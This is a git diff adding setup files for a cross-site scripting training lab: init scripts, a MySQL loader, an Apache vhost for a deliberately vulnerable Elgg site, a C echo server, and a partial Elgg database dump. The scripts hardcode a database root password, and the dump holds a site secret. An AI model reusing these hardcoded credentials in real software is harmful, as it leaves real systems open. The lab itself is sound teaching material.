b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/victim/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/victim/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/victim/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/victim/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_bin/dosql.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_bin/dosql.sh new file mode 100755 index 000000000..ecfb647a7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_bin/dosql.sh @@ -0,0 +1,14 @@ +#!/bin/bash +while [ 1 ]; do + date + mysql -u root -e "SET PASSWORD FOR 'root'@'localhost' = PASSWORD('seedubuntu')" + result=$? + if [[ $result == 0 ]]; then + break + else + echo no server, sleep + sleep 1 + fi +done +mysql -u root -pseedubuntu -e "CREATE DATABASE if not exists myelgg; " +mysql -u root -pseedubuntu myelgg < $HOME/myelgg.sql diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_bin/fixlocal.sh new file mode 100755 index 000000000..5b6a68a32 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_bin/fixlocal.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +date +$HOME/.local/bin/dosql.sh & +date diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_system/etc/httpd/sites-available/xsslabelgg.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_system/etc/httpd/sites-available/xsslabelgg.com.conf new file mode 100644 index 000000000..1ba23ab65 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_system/etc/httpd/sites-available/xsslabelgg.com.conf @@ -0,0 +1,14 @@ + + ServerName http://www.XSSLabElgg.com + DocumentRoot /var/www/xsslabelgg.com/elgg + ServerAlias XSSLabElgg.com + ErrorLog /var/www/xsslabelgg.com/error.log + CustomLog /var/www/xsslabelgg.com/requests.log combined + + + AllowOverride All + Options None + Require all granted + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_system/etc/httpd/sites-enabled/xsslabelgg.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_system/etc/httpd/sites-enabled/xsslabelgg.com.conf new file mode 120000 index 000000000..108550ae1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_system/etc/httpd/sites-enabled/xsslabelgg.com.conf @@ -0,0 +1 @@ +../sites-available/xsslabelgg.com.conf \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/Makefile new file mode 100644 index 000000000..a3b3af973 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/Makefile @@ -0,0 +1,20 @@ +echoserv: echoserv.o helper.o + gcc -o echoserv echoserv.o helper.o -Wall + +echoserv.o: echoserv.c helper.h + gcc -o echoserv.o echoserv.c -c -ansi -pedantic -Wall + +helper.o: helper.c helper.h + gcc -o helper.o helper.c -c -ansi -pedantic -Wall + +clean: + rm *.o echoserv + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/README b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/README new file mode 100644 index 000000000..728e6d415 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/README @@ -0,0 +1,38 @@ +ECHOSERV +======== + +Function +======== + +Demonstrates a simple TCP/IP echo server, using the +Berkeley Sockets API. + + +Usage +===== + +Example of usage: + + [paul@localhost paul]$ ./echoserv 5555 & + [paul@localhost paul]$ telnet localhost 5555 + Trying 127.0.0.1... + Connected to localhost. + Escape character is '^]'. + Echo this line for me, please. + Echo this line for me, please. + Connection closed by foreign host. + [paul@localhost paul]$ + + +Installation +============ + +If your system supports make, simply type: + + make + +at the command line. Otherwise, compile and link echoserv.c and +help.c in the usual way to create the executable. You may or may +not need to link in additional libraries for the sockets functions; +check your compiler's documentation. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/echoserv.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/echoserv.c new file mode 100644 index 000000000..9c22a5d9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/echoserv.c @@ -0,0 +1,114 @@ +/* + + ECHOSERV.C + ========== + Simple TCP/IP echo server. + +*/ + + +#include /* socket definitions */ +#include /* socket types */ +#include /* inet (3) funtions */ +#include /* misc. UNIX functions */ + +#include "helper.h" /* our own helper functions */ + +#include +#include + + +/* Global constants */ + +#define ECHO_PORT (2002) +#define MAX_LINE (1000) + + +int main(int argc, char *argv[]) { + int list_s; /* listening socket */ + int conn_s; /* connection socket */ + short int port; /* port number */ + struct sockaddr_in servaddr; /* socket address structure */ + char buffer[MAX_LINE]; /* character buffer */ + char *endptr; /* for strtol() */ + + + /* Get port number from the command line, and + set to default port if no arguments were supplied */ + + if ( argc == 2 ) { + port = strtol(argv[1], &endptr, 0); + if ( *endptr ) { + fprintf(stderr, "ECHOSERV: Invalid port number.\n"); + exit(EXIT_FAILURE); + } + } + else if ( argc < 2 ) { + port = ECHO_PORT; + } + else { + fprintf(stderr, "ECHOSERV: Invalid arguments.\n"); + exit(EXIT_FAILURE); + } + + + /* Create the listening socket */ + + if ( (list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { + fprintf(stderr, "ECHOSERV: Error creating listening socket.\n"); + exit(EXIT_FAILURE); + } + + + /* Set all bytes in socket address structure to + zero, and fill in the relevant data members */ + + memset(&servaddr, 0, sizeof(servaddr)); + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = htonl(INADDR_ANY); + servaddr.sin_port = htons(port); + + + /* Bind our socket addresss to the + listening socket, and call listen() */ + + if ( bind(list_s, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0 ) { + fprintf(stderr, "ECHOSERV: Error calling bind()\n"); + exit(EXIT_FAILURE); + } + + if ( listen(list_s, LISTENQ) < 0 ) { + fprintf(stderr, "ECHOSERV: Error calling listen()\n"); + exit(EXIT_FAILURE); + } + + + /* Enter an infinite loop to respond + to client requests and echo input */ + + while ( 1 ) { + + /* Wait for a connection, then accept() it */ + + if ( (conn_s = accept(list_s, NULL, NULL) ) < 0 ) { + fprintf(stderr, "ECHOSERV: Error calling accept()\n"); + exit(EXIT_FAILURE); + } + + + /* Retrieve an input line from the connected socket + then simply write it back to the same socket. */ + + Readline(conn_s, buffer, MAX_LINE-1); + Writeline(conn_s, buffer, strlen(buffer)); + printf("%s",buffer); + + + /* Close the connected socket */ + + if ( close(conn_s) < 0 ) { + fprintf(stderr, "ECHOSERV: Error calling close()\n"); + exit(EXIT_FAILURE); + } + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/helper.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/helper.c new file mode 100644 index 000000000..7e27f60fe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/helper.c @@ -0,0 +1,78 @@ +/* + + HELPER.C + ======== + Implementation of sockets helper functions. + + Many of these functions are adapted from, inspired by, or + otherwise shamelessly plagiarised from "Unix Network + Programming", W Richard Stevens (Prentice Hall). + +*/ + +#include "helper.h" +#include +#include +#include + + +/* Read a line from a socket */ + +ssize_t Readline(int sockd, void *vptr, size_t maxlen) { + ssize_t n, rc; + char c, *buffer; + + buffer = vptr; + + for ( n = 1; n < maxlen; n++ ) { + + if ( (rc = read(sockd, &c, 1)) == 1 ) { + *buffer++ = c; + if ( c == '\n' ) + break; + } + else if ( rc == 0 ) { + if ( n == 1 ) + return 0; + else + break; + } + else { + if ( errno == EINTR ) + continue; + return -1; + } + } + + *buffer = 0; + return n; +} + + +/* Write a line to a socket */ + +ssize_t Writeline(int sockd, const void *vptr, size_t n) { + size_t nleft; + ssize_t nwritten; + const char *buffer; + + buffer = vptr; + nleft = n; + + while ( nleft > 0 ) { + if ( (nwritten = write(sockd, buffer, nleft)) <= 0 ) { + if ( errno == EINTR ) + nwritten = 0; + else + return -1; + } + nleft -= nwritten; + buffer += nwritten; + } + + return n; +} + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/helper.h b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/helper.h new file mode 100644 index 000000000..c37c7d1c0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/echoserver/helper.h @@ -0,0 +1,30 @@ +/* + + HELPER.H + ======== + Interface to socket helper functions. + + Many of these functions are adapted from, inspired by, or + otherwise shamelessly plagiarised from "Unix Network + Programming", W Richard Stevens (Prentice Hall). + +*/ + + +#ifndef PG_SOCK_HELP +#define PG_SOCK_HELP + + +#include /* for ssize_t data type */ + +#define LISTENQ (1024) /* Backlog for listen() */ + + +/* Function declarations */ + +ssize_t Readline(int fd, void *vptr, size_t maxlen); +ssize_t Writeline(int fc, const void *vptr, size_t maxlen); + + +#endif /* PG_SOCK_HELP */ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/home_tar/home.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/home_tar/home.tar new file mode 100644 index 000000000..9df64990f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/home_tar/home.tar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/myelgg.sql b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/myelgg.sql new file mode 100644 index 000000000..f5d800982 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/myelgg.sql @@ -0,0 +1,687 @@ +-- MySQL dump 10.13 Distrib 5.6.38, for Linux (x86_64) +-- +-- Host: localhost Database: myelgg +-- ------------------------------------------------------ +-- Server version 5.6.38 + +/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; +/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; +/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; +/*!40101 SET NAMES utf8 */; +/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; +/*!40103 SET TIME_ZONE='+00:00' */; +/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; +/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; +/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; +/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; + +-- +-- Table structure for table `elgg_access_collection_membership` +-- + +DROP TABLE IF EXISTS `elgg_access_collection_membership`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_access_collection_membership` ( + `user_guid` int(11) NOT NULL, + `access_collection_id` int(11) NOT NULL, + PRIMARY KEY (`user_guid`,`access_collection_id`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_access_collection_membership` +-- + +LOCK TABLES `elgg_access_collection_membership` WRITE; +/*!40000 ALTER TABLE `elgg_access_collection_membership` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_access_collection_membership` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_access_collections` +-- + +DROP TABLE IF EXISTS `elgg_access_collections`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_access_collections` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `name` text NOT NULL, + `owner_guid` bigint(20) unsigned NOT NULL, + `site_guid` bigint(20) unsigned NOT NULL DEFAULT '0', + PRIMARY KEY (`id`), + KEY `owner_guid` (`owner_guid`), + KEY `site_guid` (`site_guid`) +) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_access_collections` +-- + +LOCK TABLES `elgg_access_collections` WRITE; +/*!40000 ALTER TABLE `elgg_access_collections` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_access_collections` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_annotations` +-- + +DROP TABLE IF EXISTS `elgg_annotations`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_annotations` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `entity_guid` bigint(20) unsigned NOT NULL, + `name_id` int(11) NOT NULL, + `value_id` int(11) NOT NULL, + `value_type` enum('integer','text') NOT NULL, + `owner_guid` bigint(20) unsigned NOT NULL, + `access_id` int(11) NOT NULL, + `time_created` int(11) NOT NULL, + `enabled` enum('yes','no') NOT NULL DEFAULT 'yes', + PRIMARY KEY (`id`), + KEY `entity_guid` (`entity_guid`), + KEY `name_id` (`name_id`), + KEY `value_id` (`value_id`), + KEY `owner_guid` (`owner_guid`), + KEY `access_id` (`access_id`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_annotations` +-- + +LOCK TABLES `elgg_annotations` WRITE; +/*!40000 ALTER TABLE `elgg_annotations` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_annotations` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_api_users` +-- + +DROP TABLE IF EXISTS `elgg_api_users`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_api_users` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `site_guid` bigint(20) unsigned DEFAULT NULL, + `api_key` varchar(40) DEFAULT NULL, + `secret` varchar(40) NOT NULL, + `active` int(1) DEFAULT '1', + PRIMARY KEY (`id`), + UNIQUE KEY `api_key` (`api_key`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_api_users` +-- + +LOCK TABLES `elgg_api_users` WRITE; +/*!40000 ALTER TABLE `elgg_api_users` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_api_users` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_config` +-- + +DROP TABLE IF EXISTS `elgg_config`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_config` ( + `name` varchar(255) NOT NULL, + `value` text NOT NULL, + `site_guid` int(11) NOT NULL, + PRIMARY KEY (`name`,`site_guid`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_config` +-- + +LOCK TABLES `elgg_config` WRITE; +/*!40000 ALTER TABLE `elgg_config` DISABLE KEYS */; +INSERT INTO `elgg_config` VALUES ('view','s:7:\"default\";',1),('language','s:2:\"en\";',1),('default_access','s:1:\"2\";',1),('allow_registration','b:1;',1),('walled_garden','b:0;',1),('allow_user_default_access','s:0:\"\";',1); +/*!40000 ALTER TABLE `elgg_config` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_datalists` +-- + +DROP TABLE IF EXISTS `elgg_datalists`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_datalists` ( + `name` varchar(255) NOT NULL, + `value` text NOT NULL, + PRIMARY KEY (`name`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_datalists` +-- + +LOCK TABLES `elgg_datalists` WRITE; +/*!40000 ALTER TABLE `elgg_datalists` DISABLE KEYS */; +INSERT INTO `elgg_datalists` VALUES ('filestore_run_once','1510271617'),('plugin_run_once','1510271617'),('elgg_widget_run_once','1510271617'),('installed','1510271899'),('path','/var/www/xsslabelgg.com/elgg/'),('dataroot','/var/run/elgg_data/'),('default_site','1'),('version','2014012000'),('simplecache_enabled','1'),('system_cache_enabled','1'),('processed_upgrades','a:45:{i:0;s:14:\"2008100701.php\";i:1;s:14:\"2008101303.php\";i:2;s:14:\"2009022701.php\";i:3;s:14:\"2009041701.php\";i:4;s:14:\"2009070101.php\";i:5;s:14:\"2009102801.php\";i:6;s:14:\"2010010501.php\";i:7;s:14:\"2010033101.php\";i:8;s:14:\"2010040201.php\";i:9;s:14:\"2010052601.php\";i:10;s:14:\"2010060101.php\";i:11;s:14:\"2010060401.php\";i:12;s:14:\"2010061501.php\";i:13;s:14:\"2010062301.php\";i:14;s:14:\"2010062302.php\";i:15;s:14:\"2010070301.php\";i:16;s:14:\"2010071001.php\";i:17;s:14:\"2010071002.php\";i:18;s:14:\"2010111501.php\";i:19;s:14:\"2010121601.php\";i:20;s:14:\"2010121602.php\";i:21;s:14:\"2010121701.php\";i:22;s:14:\"2010123101.php\";i:23;s:14:\"2011010101.php\";i:24;s:61:\"2011021800-1.8_svn-goodbye_walled_garden-083121a656d06894.php\";i:25;s:61:\"2011022000-1.8_svn-custom_profile_fields-390ac967b0bb5665.php\";i:26;s:60:\"2011030700-1.8_svn-blog_status_metadata-4645225d7b440876.php\";i:27;s:51:\"2011031300-1.8_svn-twitter_api-12b832a5a7a3e1bd.php\";i:28;s:57:\"2011031600-1.8_svn-datalist_grows_up-0b8aec5a55cc1e1c.php\";i:29;s:61:\"2011032000-1.8_svn-widgets_arent_plugins-61836261fa280a5c.php\";i:30;s:59:\"2011032200-1.8_svn-admins_like_widgets-7f19d2783c1680d3.php\";i:31;s:14:\"2011052801.php\";i:32;s:60:\"2011061200-1.8b1-sites_need_a_site_guid-6d9dcbf46c0826cc.php\";i:33;s:62:\"2011092500-1.8.0.1-forum_reply_river_view-5758ce8d86ac56ce.php\";i:34;s:54:\"2011123100-1.8.2-fix_friend_river-b17e7ff8345c2269.php\";i:35;s:53:\"2011123101-1.8.2-fix_blog_status-b14c2a0e7b9e7d55.php\";i:36;s:50:\"2012012000-1.8.3-ip_in_syslog-87fe0f068cf62428.php\";i:37;s:50:\"2012012100-1.8.3-system_cache-93100e7d55a24a11.php\";i:38;s:59:\"2012041800-1.8.3-dont_filter_passwords-c0ca4a18b38ae2bc.php\";i:39;s:58:\"2012041801-1.8.3-multiple_user_tokens-852225f7fd89f6c5.php\";i:40;s:59:\"2013030600-1.8.13-update_user_location-8999eb8bf1bdd9a3.php\";i:41;s:62:\"2013051700-1.8.15-add_missing_group_index-52a63a3a3ffaced2.php\";i:42;s:53:\"2013052900-1.8.15-ipv6_in_syslog-f5c2cc0196e9e731.php\";i:43;s:50:\"2013060900-1.8.15-site_secret-404fc165cf9e0ac9.php\";i:44;s:50:\"2014012000-1.8.18-remember_me-9a8a433685cf7be9.php\";}'),('admin_registered','1'),('simplecache_lastupdate_default','1510272992'),('simplecache_lastcached_default','1510272992'),('__site_secret__','zYJc_b-KOEi0aOIvpfSb89tEtMdrEYZc'),('simplecache_lastupdate_failsafe','0'),('simplecache_lastcached_failsafe','0'),('simplecache_lastupdate_foaf','0'),('simplecache_lastcached_foaf','0'),('simplecache_lastupdate_ical','0'),('simplecache_lastcached_ical','0'),('simplecache_lastupdate_installation','0'),('simplecache_lastcached_installation','0'),('simplecache_lastupdate_json','0'),('simplecache_lastcached_json','0'),('simplecache_lastupdate_opendd','0'),('simplecache_lastcached_opendd','0'),('simplecache_lastupdate_php','0'),('simplecache_lastcached_php','0'),('simplecache_lastupdate_rss','0'),('simplecache_lastcached_rss','0'),('simplecache_lastupdate_xml','0'),('simplecache_lastcached_xml','0'); +/*!40000 ALTER TABLE `elgg_datalists` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_entities` +-- + +DROP TABLE IF EXISTS `elgg_entities`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_entities` ( + `guid` bigint(20) unsigned NOT NULL AUTO_INCREMENT, + `type` enum('object','user','group','site') NOT NULL, + `subtype` int(11) DEFAULT NULL, + `owner_guid` bigint(20) unsigned NOT NULL, + `site_guid` bigint(20) unsigned NOT NULL, + `container_guid` bigint(20) unsigned NOT NULL, + `access_id` int(11) NOT NULL, + `time_created` int(11) NOT NULL, + `time_updated` int(11) NOT NULL, + `last_action` int(11) NOT NULL DEFAULT '0', + `enabled` enum('yes','no') NOT NULL DEFAULT 'yes', + PRIMARY KEY (`guid`), + KEY `type` (`type`), + KEY `subtype` (`subtype`), + KEY `owner_guid` (`owner_guid`), + KEY `site_guid` (`site_guid`), + KEY `container_guid` (`container_guid`), + KEY `access_id` (`access_id`), + KEY `time_created` (`time_created`), + KEY `time_updated` (`time_updated`) +) ENGINE=MyISAM AUTO_INCREMENT=43 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_entities` +-- + +LOCK TABLES `elgg_entities` WRITE; +/*!40000 ALTER TABLE `elgg_entities` DISABLE KEYS */; +INSERT INTO `elgg_entities` VALUES (1,'site',0,0,1,0,2,1510271899,1510271899,1510271899,'yes'),(2,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(3,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(4,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(5,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(6,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(7,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(8,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(9,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(10,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(11,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(12,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(13,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(14,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(15,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(16,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(17,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(18,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(19,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(20,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(21,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(22,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(23,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(24,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(25,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(26,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(27,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(28,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(29,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(30,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(31,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(32,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(33,'user',0,0,1,0,2,1510271931,1510272591,1510271931,'yes'),(34,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(35,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(36,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(37,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(38,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(39,'user',0,0,1,0,2,1510272666,1510272666,1510272666,'yes'),(40,'user',0,0,1,0,2,1510272705,1510272705,1510272705,'yes'),(41,'user',0,0,1,0,2,1510272744,1510272744,1510272744,'yes'),(42,'user',0,0,1,0,2,1510272762,1510272762,1510272762,'yes'); +/*!40000 ALTER TABLE `elgg_entities` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_entity_relationships` +-- + +DROP TABLE IF EXISTS `elgg_entity_relationships`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_entity_relationships` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `guid_one` bigint(20) unsigned NOT NULL, + `relationship` varchar(50) NOT NULL, + `guid_two` bigint(20) unsigned NOT NULL, + `time_created` int(11) NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `guid_one` (`guid_one`,`relationship`,`guid_two`), + KEY `relationship` (`relationship`), + KEY `guid_two` (`guid_two`) +) ENGINE=MyISAM AUTO_INCREMENT=28 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_entity_relationships` +-- + +LOCK TABLES `elgg_entity_relationships` WRITE; +/*!40000 ALTER TABLE `elgg_entity_relationships` DISABLE KEYS */; +INSERT INTO `elgg_entity_relationships` VALUES (1,2,'active_plugin',1,1510271899),(2,3,'active_plugin',1,1510271899),(3,11,'active_plugin',1,1510271899),(4,12,'active_plugin',1,1510271899),(5,13,'active_plugin',1,1510271899),(7,15,'active_plugin',1,1510271899),(8,16,'active_plugin',1,1510271899),(9,17,'active_plugin',1,1510271899),(10,18,'active_plugin',1,1510271899),(11,19,'active_plugin',1,1510271899),(12,20,'active_plugin',1,1510271899),(13,21,'active_plugin',1,1510271899),(14,22,'active_plugin',1,1510271899),(15,23,'active_plugin',1,1510271899),(16,24,'active_plugin',1,1510271899),(17,25,'active_plugin',1,1510271899),(18,26,'active_plugin',1,1510271899),(19,28,'active_plugin',1,1510271899),(20,29,'active_plugin',1,1510271899),(21,31,'active_plugin',1,1510271899),(22,32,'active_plugin',1,1510271899),(23,33,'member_of_site',1,1510271931),(24,39,'member_of_site',1,1510272666),(25,40,'member_of_site',1,1510272705),(26,41,'member_of_site',1,1510272744),(27,42,'member_of_site',1,1510272762); +/*!40000 ALTER TABLE `elgg_entity_relationships` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_entity_subtypes` +-- + +DROP TABLE IF EXISTS `elgg_entity_subtypes`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_entity_subtypes` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `type` enum('object','user','group','site') NOT NULL, + `subtype` varchar(50) NOT NULL, + `class` varchar(50) NOT NULL DEFAULT '', + PRIMARY KEY (`id`), + UNIQUE KEY `type` (`type`,`subtype`) +) 